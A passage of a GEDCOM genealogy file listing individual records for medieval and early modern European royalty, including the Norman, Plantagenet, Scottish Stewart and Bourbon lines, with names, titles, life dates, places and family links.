+1 FAMS @F503@
+1 FAMC @F504@
+0 @I1365@ INDI
+1 NAME Isabella De_Clare of_Gloucester//
+1 TITL Countess
+1 SEX F
+1 DEAT
+2 DATE    NOV 1217
+1 FAMS @F502@
+1 FAMS @F774@
+1 FAMS @F775@
+1 FAMC @F773@
+0 @I1366@ INDI
+1 NAME Isabella of_Angouleme //
+1 SEX F
+1 BIRT
+2 DATE ABT    1188
+2 PLAC Angouleme
+1 DEAT
+2 DATE 31 MAY 1246
+2 PLAC Fontevraud
+1 BURI
+2 PLAC Fontevraud Abbey
+1 FAMS @F503@
+1 FAMS @F776@
+1 FAMC @F351@
+0 @I1367@ INDI
+1 NAME Richard  //
+1 TITL Earl of Cornwall
+1 SEX M
+1 BIRT
+2 DATE  5 JAN 1209
+2 PLAC Winchester,Castle,England
+1 DEAT
+2 DATE        1272
+2 PLAC Newark Castle,Newark,England
+1 BURI
+2 PLAC Worcester,Cathedral
+1 FAMS @F599@
+1 FAMS @F600@
+1 FAMS @F601@
+1 FAMC @F503@
+0 @I1368@ INDI
+1 NAME Joan  //
+1 SEX F
+1 BIRT
+2 DATE 22 JUL 1210
+2 PLAC Gloucester,England
+1 DEAT
+2 DATE  4 MAR 1238
+2 PLAC Near London,England
+1 FAMS @F781@
+1 FAMC @F503@
+0 @I1369@ INDI
+1 NAME Isabella  //
+1 SEX F
+1 BIRT
+2 DATE        1214
+2 PLAC Gloucester
+1 DEAT
+2 DATE  1 DEC 1241
+2 PLAC Foggia
+1 FAMS @F602@
+1 FAMC @F503@
+0 @I1370@ INDI
+1 NAME Eleanor  //
+1 SEX F
+1 BIRT
+2 DATE        1215
+2 PLAC Gloucester
+1 DEAT
+2 DATE 13 APR 1275
+2 PLAC Montargis,France
+1 FAMS @F336@
+1 FAMS @F598@
+1 FAMC @F503@
+0 @I1371@ INDI
+1 NAME Henry_II Curtmantle //
+1 TITL King of England
+1 SEX M
+1 BIRT
+2 DATE 25 MAR 1133
+2 PLAC Le Mans
+1 DEAT
+2 DATE  6 JUL 1189
+2 PLAC Chinon
+1 BURI
+2 PLAC Fontevraud Abbey
+1 FAMS @F504@
+1 FAMC @F510@
+0 @I1372@ INDI
+1 NAME Eleanor of_Aquitaine //
+1 TITL Duchess
+1 SEX F
+1 BIRT
+2 DATE ABT    1122
+2 PLAC Bordeaux/Berlin
+1 DEAT
+2 DATE  1 APR 1204
+2 PLAC Fontevraud
+1 BURI
+2 PLAC Fontevraud
+1 FAMS @F766@
+1 FAMS @F504@
+1 FAMC @F765@
+0 @I1373@ INDI
+1 NAME William  //
+1 SEX M
+1 BIRT
+2 DATE 17 AUG 1152
+2 PLAC Normandy,England
+1 DEAT
+2 DATE ABT    APR 1156
+2 PLAC Wallingford,Castle,Berkshire,England
+1 FAMC @F504@
+0 @I1374@ INDI
+1 NAME Henry the_Young_King //
+1 TITL King of England
+1 SEX M
+1 BIRT
+2 DATE 28 FEB 1155
+2 PLAC Bermondsey
+1 DEAT
+2 DATE 11 JUN 1183
+2 PLAC Martel
+1 FAMS @F567@
+1 FAMC @F504@
+0 @I1375@ INDI
+1 NAME Matilda (Maud) //
+1 SEX F
+1 BIRT
+2 DATE        1156
+2 PLAC London,England
+1 DEAT
+2 DATE 28 JUN 1189
+2 PLAC Brunswick
+1 FAMS @F566@
+1 FAMC @F504@
+0 @I1376@ INDI
+1 NAME Richard_I Coeur_de_Lion //
+1 TITL King of England
+1 SEX M
+1 BIRT
+2 DATE        1157
+2 PLAC Beaumont Palace,Oxford,England
+1 DEAT
+2 DATE  6 APR 1199
+2 PLAC Chalus,Limousin
+1 BURI
+2 PLAC Fontevraud Abbey
+1 FAMS @F565@
+1 FAMC @F504@
+0 @I1377@ INDI
+1 NAME Geoffrey  //
+1 TITL Duke of Brittany
+1 SEX M
+1 BIRT
+2 DATE 23 SEP 1158
+1 DEAT
+2 DATE 19 AUG 1186
+2 PLAC Paris
+1 FAMS @F563@
+1 FAMC @F504@
+0 @I1378@ INDI
+1 NAME Eleanor  //
+1 SEX F
+1 BIRT
+2 DATE 13 OCT 1162
+2 PLAC Domfront,Normandy
+1 DEAT
+2 DATE 31 OCT 1214
+2 PLAC Burgos
+1 FAMS @F571@
+1 FAMC @F504@
+0 @I1379@ INDI
+1 NAME Joan  /Plantagenet/
+1 SEX F
+1 BIRT
+2 DATE    OCT 1165
+2 PLAC Angers
+1 DEAT
+2 DATE  4 SEP 1199
+1 FAMS @F590@
+1 FAMS @F591@
+1 FAMC @F504@
+0 @I1380@ INDI
+1 NAME William_I the_Conqueror //
+1 TITL King of England
+1 SEX M
+1 BIRT
+2 DATE        1027/1028
+2 PLAC Falaise,Normandy,France
+1 DEAT
+2 DATE  7 SEP 1087
+2 PLAC Near Rouen,France
+1 BURI
+2 PLAC St Stephen Abbey,Caen,Normandy
+1 FAMS @F505@
+1 FAMC @F572@
+0 @I1381@ INDI
+1 NAME Matilda of_Flanders //
+1 SEX F
+1 BIRT
+2 DATE ABT    1031
+2 PLAC Flanders,France
+1 DEAT
+2 DATE  2 NOV 1083
+2 PLAC Caen
+1 BURI
+2 PLAC Holy Trinity,Abbey,Caen
+1 FAMS @F505@
+1 FAMC @F752@
+0 @I1382@ INDI
+1 NAME Robert Curthose //
+1 TITL Duke of Normandy
+1 SEX M
+1 BIRT
+2 DATE        1054
+2 PLAC Normandy,France
+1 DEAT
+2 DATE 10 FEB 1134
+2 PLAC Cardiff Castle
+1 FAMS @F753@
+1 FAMC @F505@
+0 @I1383@ INDI
+1 NAME Richard  //
+1 SEX M
+1 BIRT
+2 DATE ABT    1055
+1 DEAT
+2 DATE ABT    1081
+2 PLAC New Forest
+1 FAMC @F505@
+0 @I1384@ INDI
+1 NAME William_II Rufus //
+1 TITL King of England
+1 SEX M
+1 BIRT
+2 DATE        1056/1060
+2 PLAC Normandy,France
+1 DEAT
+2 DATE  2 AUG 1100
+2 PLAC New Forest
+1 BURI
+2 PLAC Winchester,Cathedral
+1 FAMC @F505@
+0 @I1385@ INDI
+1 NAME Cecilia of_Holy_Trinity //
+1 TITL Abess
+1 SEX F
+1 DEAT
+2 DATE 30 JUL 1126
+2 PLAC Caen
+1 FAMC @F505@
+0 @I1386@ INDI
+1 NAME Agatha  //
+1 SEX F
+1 FAMC @F505@
+0 @I1387@ INDI
+1 NAME Adeliza a_nun //
+1 SEX F
+1 FAMC @F505@
+0 @I1388@ INDI
+1 NAME Adela  //
+1 SEX F
+1 BIRT
+2 DATE ABT    1062
+2 PLAC Normandy,France
+1 DEAT
+2 DATE  8 MAR 1137/1138
+2 PLAC Marcigny-sur-,Loire,France
+1 FAMS @F569@
+1 FAMC @F505@
+0 @I1389@ INDI
+1 NAME Matilda  //
+1 SEX F
+1 FAMC @F505@
+0 @I1390@ INDI
+1 NAME Constance  //
+1 SEX F
+1 BIRT
+2 DATE ABT    1066
+2 PLAC Normandy,France
+1 DEAT
+2 DATE 13 AUG 1090
+2 PLAC Brittany,France
+1 FAMS @F586@
+1 FAMC @F505@
+0 @I1391@ INDI
+1 NAME Henry_I Beauclerc //
+1 TITL King of England
+1 SEX M
+1 BIRT
+2 DATE ABT    SEP 1068
+2 PLAC Selby,Yorkshire,England
+1 DEAT
+2 DATE  1 DEC 1135
+2 PLAC St Denis-le-,Fermont,Near Gisors
+1 BURI
+2 PLAC Reading Abbey
+1 FAMS @F506@
+1 FAMS @F507@
+1 FAMC @F505@
+0 @I1392@ INDI
+1 NAME Matilda (Edith) of_Scotland//
+1 SEX F
+1 BIRT
+2 DATE        1079/1080
+2 PLAC Dunfermline
+1 DEAT
+2 DATE  1 MAY 1118
+2 PLAC Westminster,Palace,London,England
+1 BURI
+2 PLAC Westminster,Abbey,London,England
+1 FAMS @F506@
+1 FAMC @F568@
+0 @I1393@ INDI
+1 NAME Robert of_Gloucester //
+1 SEX M
+1 DEAT
+2 DATE        1147
+1 FAMC @F506@
+0 @I1394@ INDI
+1 NAME William  //
+1 TITL Duke of Normandy
+1 SEX M
+1 BIRT
+2 DATE BEF  5 AUG 1103
+2 PLAC Winchester
+1 DEAT
+2 DATE 25 NOV 1120
+1 FAMS @F759@
+1 FAMC @F506@
+0 @I1395@ INDI
+1 NAME Matilda  //
+1 SEX F
+1 BIRT
+2 DATE ABT    1103/1104
+2 PLAC Winchester
+1 DEAT
+2 DATE 10 SEP 1167
+2 PLAC Rouen
+1 FAMS @F509@
+1 FAMS @F510@
+1 FAMC @F506@
+0 @I1396@ INDI
+1 NAME Adeliza of_Louvain //
+1 SEX F
+1 BIRT
+2 DATE ABT    1105
+2 PLAC Louvain,Belgium
+1 DEAT
+2 DATE ABT 23 APR 1151
+2 PLAC Afflighem,Flanders
+1 BURI
+2 PLAC Afflighem,Flanders
+1 FAMS @F507@
+1 FAMS @F625@
+1 FAMC @F756@
+0 @I1397@ INDI
+1 NAME Stephen  //
+1 TITL King of England
+1 SEX M
+1 BIRT
+2 DATE ABT    1096
+2 PLAC Blois,France
+1 DEAT
+2 DATE 25 OCT 1154
+2 PLAC Dover Castle
+1 BURI
+2 PLAC Faversham Abbey
+1 FAMS @F508@
+1 FAMC @F569@
+0 @I1398@ INDI
+1 NAME Matilda of_Boulogne //
+1 SEX F
+1 BIRT
+2 DATE ABT    1103/1105
+2 PLAC Boulogne
+1 DEAT
+2 DATE  3 MAY 1152
+2 PLAC Hedingham Castle,Essex,England
+1 BURI
+2 PLAC Faversham Abbey
+1 FAMS @F508@
+1 FAMC @F589@
+0 @I1399@ INDI
+1 NAME Baldwin  //
+1 SEX M
+1 BIRT
+2 DATE ABT    1126
+1 DEAT
+2 DATE BEF  2 DEC 1135
+2 PLAC London,England
+1 FAMC @F508@
+0 @I1400@ INDI
+1 NAME Eustace of_Boulongne //
+1 TITL Count
+1 SEX M
+1 BIRT
+2 DATE        1130/1131
+1 DEAT
+2 DATE 10 AUG 1153
+2 PLAC Bury St Edmunds
+1 FAMS @F570@
+1 FAMC @F508@
+0 @I1401@ INDI
+1 NAME Matilda  //
+1 SEX F
+1 BIRT
+2 DATE ABT    1133
+1 DEAT
+2 DATE ABT    1135
+1 FAMC @F508@
+0 @I1402@ INDI
+1 NAME William of_Boulogne //
+1 TITL Count
+1 SEX M
+1 BIRT
+2 DATE ABT    1134
+1 DEAT
+2 DATE 11 OCT 1159
+2 PLAC Toulouse
+1 FAMS @F587@
+1 FAMC @F508@
+0 @I1403@ INDI
+1 NAME Mary of_Boulogne //
+1 TITL Countess
+1 SEX F
+1 BIRT
+2 DATE ABT    1136
+1 DEAT
+2 DATE        1182
+2 PLAC St Austrebert
+1 FAMS @F588@
+1 FAMC @F508@
+0 @I1404@ INDI
+1 NAME Henry_V  //
+1 TITL Holy Roman Empr
+1 SEX M
+1 BIRT
+2 DATE        1086
+1 DEAT
+2 DATE 23 MAY 1125
+2 PLAC Utrecht
+1 FAMS @F509@
+0 @I1405@ INDI
+1 NAME Geoffrey_V  /Plantagenet/
+1 TITL Count of Anjou
+1 SEX M
+1 DEAT
+2 DATE  7 SEP 1151
+2 PLAC Chateau-du-Loir
+1 FAMS @F510@
+0 @I1406@ INDI
+1 NAME Audrey  /Emery/
+1 SEX F
+1 BIRT
+2 DATE        1904
+1 FAMS @F511@
+1 FAMC @F1383@
+0 @I1407@ INDI
+1 NAME Paul  /Romanov/
+1 TITL Prince Ilynsky
+1 SEX M
+1 FAMC @F511@
+0 @I1408@ INDI
+1 NAME William  //
+1 TITL Prince of Sweden
+1 SEX M
+1 BIRT
+2 DATE        1884
+1 DEAT
+2 DATE        1965
+1 FAMS @F512@
+1 FAMC @F155@
+0 @I1409@ INDI
+1 NAME Lennart Gustaf Nicholas//
+1 TITL Count of Wisborg
+1 SEX M
+1 BIRT
+2 DATE  8 MAY 1909
+2 PLAC Stockholm,Sweden
+1 FAMS @F1295@
+1 FAMS @F1296@
+1 FAMC @F512@
+0 @I1410@ INDI
+1 NAME Joan  //
+1 TITL Countess of Kent
+1 SEX F
+1 BIRT
+2 DATE 29 SEP 1328
+1 DEAT
+2 DATE  8 AUG 1385
+2 PLAC Wallingford,Castle,Berkshire,England
+1 FAMS @F901@
+1 FAMS @F513@
+1 FAMC @F564@
+0 @I1411@ INDI
+1 NAME Edward  //
+1 SEX M
+1 BIRT
+2 DATE 27 JAN 1365
+2 PLAC Angouleme
+1 DEAT
+2 DATE        1372
+2 PLAC Bordeaux,France
+1 FAMC @F513@
+0 @I1412@ INDI
+1 NAME Richard_II  //
+1 TITL King of England
+1 SEX M
+1 BIRT
+2 DATE  6 JAN 1367
+2 PLAC Bordeaux,France
+1 DEAT
+2 DATE  6 JAN 1400
+2 PLAC Pontefract,Castle
+1 BURI
+2 PLAC Westminster,Abbey,London,England
+1 FAMS @F514@
+1 FAMS @F515@
+1 FAMC @F513@
+0 @I1413@ INDI
+1 NAME Anne of_Bohemia //
+1 SEX F
+1 BIRT
+2 DATE 11 MAY 1366
+2 PLAC Prague
+1 DEAT
+2 DATE BEF  3 JUN 1394
+2 PLAC Sheen Palace
+1 BURI
+2 PLAC Westminster,Abbey,London,England
+1 FAMS @F514@
+1 FAMC @F1066@
+0 @I1414@ INDI
+1 NAME Isabella of_France //
+1 SEX F
+1 BIRT
+2 DATE  9 NOV 1387
+2 PLAC Hotel du Louvre,Paris,France
+1 DEAT
+2 DATE 13 SEP 1409
+2 PLAC Blois
+1 BURI
+2 DATE ABT    1624
+2 PLAC Celestines,Paris
+1 FAMS @F515@
+1 FAMC @F915@
+0 @I1415@ INDI
+1 NAME Enguerrand_VII de_Courcy //
+1 TITL Earl of Bedford
+1 SEX M
+1 DEAT
+2 DATE        1396
+1 FAMS @F516@
+0 @I1416@ INDI
+1 NAME Constanza (Constance) //
+1 TITL Queen of Castile
+1 SEX F
+1 DEAT
+2 DATE 24 MAR 1394
+2 PLAC Leicester,England
+1 FAMS @F517@
+1 FAMC @F905@
+0 @I1417@ INDI
+1 NAME John 2d /Hastings/
+1 TITL Earl of Pembroke
+1 SEX M
+1 DEAT
+2 DATE        1375
+1 FAMS @F518@
+0 @I1418@ INDI
+1 NAME Elizabeth de_Burgh //
+1 TITL Lady
+1 SEX F
+1 DEAT
+2 DATE 10 DEC 1363
+2 PLAC Dublin
+1 FAMS @F519@
+1 FAMC @F902@
+0 @I1419@ INDI
+1 NAME Charles Frederick of_Holstein-//
+1 TITL Duke
+1 SEX M
+1 BIRT
+2 DATE        1700
+1 DEAT
+2 DATE        1739
+1 FAMS @F473@
+0 @I1420@ INDI
+1 NAME Marie-Therese of_Spain //
+1 SEX F
+1 BIRT
+2 DATE 20 SEP 1638
+2 PLAC Madrid,Spain
+1 DEAT
+2 DATE 30 JUL 1683
+2 PLAC Versailles,France
+1 BURI
+2 PLAC St Denis
+1 FAMS @F523@
+1 FAMC @F948@
+0 @I1421@ INDI
+1 NAME Francoise d'Aubigne //
+1 SEX F
+1 BIRT
+2 DATE 27 NOV 1635
+2 PLAC Niort,France
+1 DEAT
+2 DATE 15 APR 1719
+2 PLAC St Cyr,France
+1 BURI
+2 PLAC St Cyr
+1 FAMS @F524@
+0 @I1422@ INDI
+1 NAME Louis_XV  //
+1 TITL King of France
+1 SEX M
+1 BIRT
+2 DATE 15 FEB 1710
+2 PLAC Versailles,France
+1 DEAT
+2 DATE 10 MAY 1774
+2 PLAC Versailles,France
+1 BURI
+2 PLAC St. Denis,France
+1 FAMS @F525@
+1 FAMC @F344@
+0 @I1423@ INDI
+1 NAME Maria of_Poland /Leczinska/
+1 SEX F
+1 BIRT
+2 DATE        1703
+1 DEAT
+2 DATE        1768
+1 FAMS @F525@
+1 FAMC @F1183@
+0 @I1424@ INDI
+1 NAME Louis_XVI  //
+1 TITL King of France
+1 SEX M
+1 BIRT
+2 DATE 23 AUG 1754
+2 PLAC Versailles,France
+1 DEAT
+2 DATE 21 JAN 1793
+2 PLAC Paris,France
+1 BURI
+2 DATE        1815
+2 PLAC St Denis,France
+1 FAMS @F526@
+1 FAMC @F1185@
+0 @I1425@ INDI
+1 NAME Marie Antoinette of_Austria//
+1 SEX F
+1 BIRT
+2 DATE  2 NOV 1755
+2 PLAC Vienna,Austria
+1 DEAT
+2 DATE 16 OCT 1793
+2 PLAC Paris,France
+1 BURI
+2 DATE        1815
+2 PLAC St Denis,France
+1 FAMS @F526@
+0 @I1426@ INDI
+1 NAME Henry  /Brandon/
+1 TITL Earl of Lincoln
+1 SEX M
+1 BIRT
+2 DATE        1516
+1 DEAT
+2 DATE        1534
+1 FAMC @F318@
+0 @I1427@ INDI
+1 NAME Frances  /Brandon/
+1 SEX F
+1 BIRT
+2 DATE        1517
+1 DEAT
+2 DATE        1559
+1 FAMS @F527@
+1 FAMS @F935@
+1 FAMC @F318@
+0 @I1428@ INDI
+1 NAME Eleanor  /Brandon/
+1 SEX F
+1 DEAT
+2 DATE        1547
+1 FAMS @F934@
+1 FAMC @F318@
+0 @I1429@ INDI
+1 NAME Madeleine of_France //
+1 SEX F
+1 DEAT
+2 DATE        1537
+1 FAMS @F458@
+1 FAMC @F728@
+0 @I1430@ INDI
+1 NAME Henry  /Grey/
+1 TITL Duke of Suffolk
+1 SEX M
+1 DEAT
+2 DATE        1554
+1 FAMS @F527@
+0 @I1431@ INDI
+1 NAME Margaret  /Douglas/
+1 TITL Lady
+1 SEX F
+1 BIRT
+2 DATE        1515
+1 DEAT
+2 DATE        1578
+1 FAMS @F528@
+1 FAMC @F529@
+0 @I1432@ INDI
+1 NAME Matthew  /Stuart/
+1 TITL Earl Lennox 4th
+1 SEX M
+1 BIRT
+2 DATE        1516
+1 DEAT
+2 DATE        1571
+1 FAMS @F528@
+1 FAMC @F551@
+0 @I1433@ INDI
+1 NAME Charles  /Stuart/
+1 TITL Earl Lennox 6th
+1 SEX M
+1 DEAT
+2 DATE        1576
+1 FAMS @F530@
+1 FAMC @F528@
+0 @I1434@ INDI
+1 NAME Elizabeth  /Cavendish/
+1 SEX F
+1 DEAT
+2 DATE        1581
+1 FAMS @F530@
+1 FAMC @F930@
+0 @I1435@ INDI
+1 NAME Arabella  /Stuart/
+1 SEX F
+1 DEAT
+2 DATE        1615
+1 FAMS @F531@
+1 FAMC @F530@
+0 @I1436@ INDI
+1 NAME William  /Seymour/
+1 TITL Duke Sommerset
+1 SEX M
+1 DEAT
+2 DATE        1660
+1 FAMS @F531@
+1 FAMS @F932@
+1 FAMC @F938@
+0 @I1437@ INDI
+1 NAME Thomas  /Beaufort/
+1 TITL Duke of Exeter
+1 SEX M
+1 FAMS @F917@
+1 FAMC @F485@
+0 @I1438@ INDI
+1 NAME Franz Josef of_Austria//
+1 TITL Emperor
+1 SEX M
+1 BIRT
+2 DATE 18 AUG 1830
+2 PLAC Vienna,Austria
+1 DEAT
+2 DATE 21 NOV 1916
+1 FAMS @F532@
+1 FAMC @F1150@
+0 @I1439@ INDI
+1 NAME Rudolf  //
+1 TITL Archduke
+1 SEX M
+1 BIRT
+2 DATE        1858
+1 DEAT
+2 DATE        1889
+1 FAMC @F532@
+0 @I1440@ INDI
+1 NAME Daughter_1  //
+1 SEX F
+1 FAMC @F532@
+0 @I1441@ INDI
+1 NAME Daughter_2  //
+1 SEX F
+1 FAMC @F532@
+0 @I1442@ INDI
+1 NAME   //
+1 TITL duc d' Alencon
+1 SEX M
+1 FAMS @F533@
+0 @I1443@ INDI
+1 NAME Joan  /Holland/
+1 SEX F
+1 DEAT
+2 DATE        1434
+1 FAMS @F534@
+0 @I1444@ INDI
+1 NAME Maud  /Clifford/
+1 SEX F
+1 FAMS @F1074@
+1 FAMS @F535@
+1 FAMC @F1073@
+0 @I1445@ INDI
+1 NAME Anne  /Stafford/
+1 SEX F
+1 FAMS @F536@
+1 FAMC @F1059@
+0 @I1446@ INDI
+1 NAME Catherine  /Woodville/
+1 SEX F
+1 FAMS @F537@
+0 @I1447@ INDI
+1 NAME Robert_I  /Bruce/
+1 TITL King of Scotland
+1 SEX M
+1 BIRT
+2 DATE        1274
+1 DEAT
+2 DATE        1329
+2 PLAC Cardoss Castle,Firth of Clyde,Scotland
+1 FAMS @F538@
+1 FAMS @F539@
+1 FAMC @F740@
+0 @I1448@ INDI
+1 NAME Isobel of_Mar //
+1 SEX F
+1 FAMS @F538@
+1 FAMC @F730@
+0 @I1449@ INDI
+1 NAME Margery  /Bruce/
+1 SEX F
+1 DEAT
+2 DATE        1316
+1 FAMS @F542@
+1 FAMC @F538@
+0 @I1450@ INDI
+1 NAME Elizabeth de_Burgh //
+1 SEX F
+1 DEAT
+2 DATE        1327
+1 FAMS @F539@
+1 FAMC @F548@
+0 @I1451@ INDI
+1 NAME David_II  /Bruce/
+1 TITL King of Scotland
+1 SEX M
+1 BIRT
+2 DATE        1329
+1 DEAT
+2 DATE        1371
+1 FAMS @F540@
+1 FAMS @F541@
+1 FAMC @F539@
+0 @I1452@ INDI
+1 NAME Thored  //
+1 TITL Ealdorman
+1 SEX M
+1 FAMS @F697@
+1 FAMC @F698@
+0 @I1453@ INDI
+1 NAME Margaret  /Drummond/
+1 SEX F
+1 DEAT
+2 DATE        1375
+1 FAMS @F746@
+1 FAMS @F541@
+1 FAMC @F747@
+0 @I1454@ INDI
+1 NAME Walter  /Stewart/
+1 SEX M
+1 BIRT
+2 DATE        1292
+1 DEAT
+2 DATE        1326
+1 FAMS @F542@
+0 @I1455@ INDI
+1 NAME Robert_II  //
+1 TITL King of Scotland
+1 SEX M
+1 BIRT
+2 DATE        1316
+1 DEAT
+2 DATE        1390
+1 FAMS @F543@
+1 FAMS @F545@
+1 FAMC @F542@
+0 @I1456@ INDI
+1 NAME Elizabeth of_Rowallan /Mure/
+1 SEX F
+1 FAMS @F543@
+1 FAMC @F731@
+0 @I1457@ INDI
+1 NAME Robert_III  //
+1 TITL King of Scotland
+1 SEX M
+1 FAMS @F544@
+1 FAMC @F543@
+0 @I1458@ INDI
+1 NAME Walter  //
+1 SEX M
+1 FAMC @F543@
+0 @I1459@ INDI
+1 NAME Robert  //
+1 TITL Earl of Fife
+1 SEX M
+1 FAMS @F554@
+1 FAMC @F543@
+0 @I1460@ INDI
+1 NAME Alexander  //
+1 SEX M
+1 FAMC @F543@
+0 @I1461@ INDI
+1 NAME Annabella  //
+1 SEX F
+1 DEAT
+2 DATE        1401
+1 FAMS @F544@
+1 FAMC @F737@
+0 @I1462@ INDI
+1 NAME David of_Rothesay //
+1 TITL Duke
+1 SEX M
+1 FAMC @F544@
+0 @I1463@ INDI
+1 NAME James_I  //
+1 TITL King of Scotland
+1 SEX M
+1 BIRT
+2 DATE        1394
+2 PLAC Dunfermline,Scotland
+1 DEAT
+2 DATE        1437
+1 FAMS @F546@
+1 FAMC @F544@
+0 @I1464@ INDI
+1 NAME Euphemia of_Ross //
+1 SEX F
+1 FAMS @F545@
+1 FAMC @F732@
+0 @I1465@ INDI
+1 NAME Joan  /Beaufort/
+1 SEX F
+1 DEAT
+2 DATE        1445
+1 FAMS @F546@
+1 FAMS @F555@
+1 FAMC @F486@
+0 @I1466@ INDI
+1 NAME James_II  //
+1 TITL King of Scotland
+1 SEX M
+1 BIRT
+2 DATE        1430
+2 PLAC Edinburgh,Scotland
+1 DEAT
+2 DATE        1460
+2 PLAC Roxburgh Castle,Scotland
+1 FAMS @F547@
+1 FAMC @F546@
+0 @I1467@ INDI
+1 NAME Marie of_Gueldres //
+1 SEX F
+1 DEAT
+2 DATE        1463
+1 FAMS @F547@
+1 FAMC @F738@
+0 @I1468@ INDI
+1 NAME John  //
+1 TITL King of Denmark
+1 SEX M
+1 BIRT
+2 DATE        1455
+1 DEAT
+2 DATE        1513
+1 FAMS @F1343@
+1 FAMC @F739@
+0 @I1469@ INDI
+1 NAME Margaret of_Denmark //
+1 SEX F
+1 BIRT
+2 DATE ABT    1457
+1 DEAT
+2 DATE        1486
+1 FAMS @F460@
+1 FAMC @F739@
+0 @I1470@ INDI
+1 NAME Alexander  //
+1 TITL Duke of Albany
+1 SEX M
+1 BIRT
+2 DATE ABT    1454
+1 DEAT
+2 DATE        1485
+1 FAMS @F553@
+1 FAMS @F1344@
+1 FAMC @F547@
+0 @I1471@ INDI
+1 NAME John  //
+1 TITL Earl of Mar
+1 SEX M
+1 FAMC @F547@
+0 @I1472@ INDI
+1 NAME Mary  //
+1 SEX F
+1 FAMS @F315@
+1 FAMS @F549@
+1 FAMC @F547@
+0 @I1473@ INDI
+1 NAME Thomas  /Boyd/
+1 TITL Earl of Arran
+1 SEX M
+1 FAMS @F315@
+0 @I1474@ INDI
+1 NAME James  /Hamilton/
+1 TITL Lord 1st
+1 SEX M
+1 BIRT
+2 DATE        1479
+1 FAMS @F549@
+0 @I1475@ INDI
+1 NAME Elizabeth  //
+1 SEX F
+1 FAMS @F550@
+1 FAMC @F549@
+0 @I1476@ INDI
+1 NAME James  /Hamilton/
+1 TITL Earl of Arran I
+1 SEX M
+1 BIRT
+2 DATE        1477
+1 DEAT
+2 DATE        1529
+1 FAMS @F556@
+1 FAMC @F549@
+0 @I1477@ INDI
+1 NAME Matthew  /Stewart/
+1 TITL Earl Lennox II
+1 SEX M
+1 FAMS @F550@
+0 @I1478@ INDI
+1 NAME John  /Stewart/
+1 TITL Earl Lennox III
+1 SEX M
+1 FAMS @F551@
+1 FAMC @F550@
+0 @I1479@ INDI
+1 NAME Unknown  //
+1 SEX F
+1 FAMS @F551@
+0 @I1480@ INDI
+1 NAME John  /Stuart/
+1 TITL Lord d'Aubigny V
+1 SEX M
+1 FAMS @F552@
+1 FAMC @F551@
+0 @I1481@ INDI
+1 NAME Unknown  //
+1 SEX F
+1 FAMS @F552@
+0 @I1482@ INDI
+1 NAME Esme  /Stuart/
+1 TITL Duke Lennox I
+1 SEX M
+1 DEAT
+2 DATE        1583
+1 FAMC @F552@
+0 @I1483@ INDI
+1 NAME Catherine  /Sinclair/
+1 SEX F
+1 FAMS @F553@
+0 @I1484@ INDI
+1 NAME John  //
+1 TITL Duke of Albany
+1 SEX M
+1 BIRT
+2 DATE        1484
+1 DEAT
+2 DATE        1536
+1 FAMC @F1344@
+0 @I1485@ INDI
+1 NAME Unknown  //
+1 SEX F
+1 FAMS @F554@
+0 @I1486@ INDI
+1 NAME Murdoch  //
+1 TITL Duke of Albany
+1 SEX M
+1 FAMC @F554@
+0 @I1487@ INDI
+1 NAME James  /Stewart/
+1 TITL Sir
+1 SEX M
+1 FAMS @F555@
+0 @I1488@ INDI
+1 NAME John  /Stewart/
+1 TITL Earl of Atholl
+1 SEX M
+1 FAMC @F555@
+0 @I1489@ INDI
+1 NAME James  /Stewart/
+1 TITL Earl of Buchan
+1 SEX M
+1 FAMC @F555@
+0 @I1490@ INDI
+1 NAME Andrew  /Stewart/
+1 TITL Bishop of Moray
+1 SEX M
+1 FAMC @F555@
+0 @I1491@ INDI
+1 NAME Janet  /Beaton/
+1 SEX F
+1 DEAT
+2 DATE ABT    1522
+1 FAMS @F556@
+0 @I1492@ INDI
+1 NAME James  /Hamilton/
+1 TITL Earl of Arran II
+1 SEX M
+1 BIRT
+2 DATE        1515
+1 DEAT
+2 DATE        1575
+1 FAMS @F557@
+1 FAMC @F556@
+0 @I1493@ INDI
+1 NAME Margaret  /Douglas/
+1 SEX F
+1 FAMS @F557@
+0 @I1494@ INDI
+1 NAME James  /Hamilton/
+1 TITL 3d Earl of Arran
+1 SEX M
+1 DEAT
+2 DATE        1609
+1 FAMC @F557@
+0 @I1495@ INDI
+1 NAME Blanche of_Artois //
+1 SEX F
+1 DEAT
+2 DATE  2 MAY 1302
+1 FAMS @F558@
+1 FAMC @F786@
+0 @I1496@ INDI
+1 NAME Thomas  //
+1 TITL Earl Lancaster
+1 SEX M
+1 FAMC @F558@
+0 @I1497@ INDI
+1 NAME Henry  //
+1 TITL Earl Lancaster
+1 SEX M
+1 FAMS @F559@
+1 FAMC @F558@
+0 @I1498@ INDI
+1 NAME Maud  /Chaworth/
+1 SEX F
+1 FAMS @F559@
+0 @I1499@ INDI
+1 NAME Henry  //
+1 TITL Duke Lancaster I
+1 SEX M
+1 DEAT
+2 DATE        1361
+1 FAMS @F560@
+1 FAMC @F559@
+0 @I1500@ INDI
+1 NAME Isabel  /de_Beaumont/
+1 SEX F
+1 FAMS @F560@
+0 @I1501@ INDI
+1 NAME Philippa of_Lancaster //
+1 SEX F
+1 BIRT
+2 DATE ABT    1360
+1 DEAT
+2 DATE        1415
+1 FAMS @F561@
+1 FAMC @F452@
+0 @I1502@ INDI
+1 NAME Elizabeth  //
+1 SEX F
+1 BIRT
+2 DATE        1364
+1 DEAT
+2 DATE        1426
+1 FAMS @F1067@
+1 FAMS @F1068@
+1 FAMC @F452@
+0 @I1503@ INDI
+1 NAME John_I  //
+1 TITL King of Portugal
+1 SEX M
+1 BIRT
+2 DATE        1357
+1 DEAT
+2 DATE        1433
+1 FAMS @F561@
+0 @I1504@ INDI
+1 NAME Alice (Itayls) /Hayles/
+1 SEX F
+1 DEAT
+2 DATE AFT  8 MAY 1326
+1 FAMS @F562@
+1 FAMC @F789@
+0 @I1505@ INDI
+1 NAME Margaret of_Liddell /Wake/
+1 TITL Baroness
+1 SEX F
+1 DEAT
+2 DATE 29 SEP 1349
+1 FAMS @F793@
+1 FAMS @F564@
+1 FAMC @F792@
+0 @I1506@ INDI
+1 NAME Constance of_Brittany //
+1 TITL Duchess
+1 SEX F
+1 DEAT
+2 DATE        1201
+1 FAMS @F563@
+1 FAMS @F771@
+1 FAMS @F772@
+1 FAMC @F770@
+0 @I1507@ INDI
+1 NAME Arthur  //
+1 SEX M
+1 BIRT
+2 DATE        1187
+1 DEAT
+2 DATE        1203
+1 FAMC @F563@
+0 @I1508@ INDI
+1 NAME Berengaria of_Navarre //
+1 SEX F
+1 BIRT
+2 DATE        1163
+1 DEAT
+2 DATE        1230
